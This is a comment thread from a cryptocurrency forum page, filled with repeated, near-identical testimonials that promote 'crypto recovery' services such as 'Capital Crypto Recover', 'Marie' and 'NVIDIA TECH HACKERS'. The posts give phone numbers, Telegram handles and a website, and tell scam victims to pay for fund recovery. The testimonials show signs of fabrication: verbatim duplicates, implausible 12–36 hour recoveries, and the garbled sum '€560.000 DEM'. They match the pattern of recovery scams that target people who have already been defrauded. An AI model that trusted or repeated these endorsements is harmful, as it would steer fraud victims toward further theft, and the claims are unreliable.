    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon